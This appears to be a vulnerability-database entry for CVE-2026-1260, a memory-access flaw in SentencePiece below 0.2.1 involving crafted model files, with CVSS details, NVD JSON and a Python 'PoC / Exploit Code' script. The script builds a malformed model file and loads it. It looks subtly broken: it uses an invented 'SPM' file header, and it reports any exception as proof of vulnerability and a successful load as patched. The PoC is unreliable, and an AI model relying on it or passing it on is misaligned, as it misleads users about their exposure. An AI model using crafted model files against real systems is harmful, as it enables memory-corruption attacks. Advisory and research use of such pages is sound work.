Security Vulnerability Report
中文
CVE-2026-1260 CVSS 7.8 HIGH

CVE-2026-1260

Published: 2026-01-22 17:16:31
Last Modified: 2026-01-30 18:33:45

Description

Invalid memory access in Sentencepiece versions less than 0.2.1 when using a vulnerable model file, which is not created in the normal training procedure.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:sentencepiece:*:*:*:*:*:*:*:* - VULNERABLE
SentencePiece < 0.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-1260 PoC - SentencePiece Invalid Memory Access This PoC demonstrates the vulnerability in SentencePiece < 0.2.1 when processing malicious model files. WARNING: For educational and security research purposes only. """ import struct import os def create_malicious_model(): """ Create a malicious SentencePiece model file that triggers invalid memory access in vulnerable versions. """ # SentencePiece model file header structure header = b'SPM' # Magic number version = struct.pack('<I', 1) # Version 1 # Malicious parameters that trigger memory issues # Negative values or invalid sizes can cause out-of-bounds access vocab_size = struct.pack('<I', 0x7FFFFFFF) # Invalid vocab size # Create malformed model data model_data = header + version + vocab_size # Add malicious padding that may cause buffer issues model_data += b'\x00' * 10000 # Large padding model_data += b'\xFF' * 1000 # Invalid bytes return model_data def exploit_sentencepiece(): """ Attempt to trigger the vulnerability by loading malicious model """ try: import sentencepiece as spm # Create temporary malicious model file model_path = '/tmp/malicious_model.model' with open(model_path, 'wb') as f: f.write(create_malicious_model()) # Try to load the malicious model sp = spm.SentencePieceProcessor() sp.Load(model_path) # This may trigger invalid memory access print('[+] Model loaded successfully - system patched') return False except Exception as e: print(f'[-] Vulnerability triggered: {type(e).__name__}') print(f'[-] Error: {str(e)}') return True finally: if os.path.exists(model_path): os.remove(model_path) if __name__ == '__main__': print('CVE-2026-1260 SentencePiece PoC') print('=' * 50) vulnerable = exploit_sentencepiece() if vulnerable: print('[!] System is VULNERABLE') else: print('[+] System is NOT vulnerable or patched')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1260", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:30.643", "lastModified": "2026-01-30T18:33:45.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Invalid memory access in Sentencepiece versions less than 0.2.1 when using a vulnerable model file, which is not created in the normal training procedure."}, {"lang": "es", "value": "Acceso a memoria no válido en versiones de Sentencepiece inferiores a la 0.2.1 al usar un archivo de modelo vulnerable, que no se crea en el procedimiento de entrenamiento normal."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:sentencepiece:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.2.1", "matchCriteriaId": "E4AF7FCB-EDF3-4A3B-89FE-DBC8D23BD85F"}]}]}], "references": [{"url": "https://github.com/google/sentencepiece/releases/tag/v0.2.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}]}}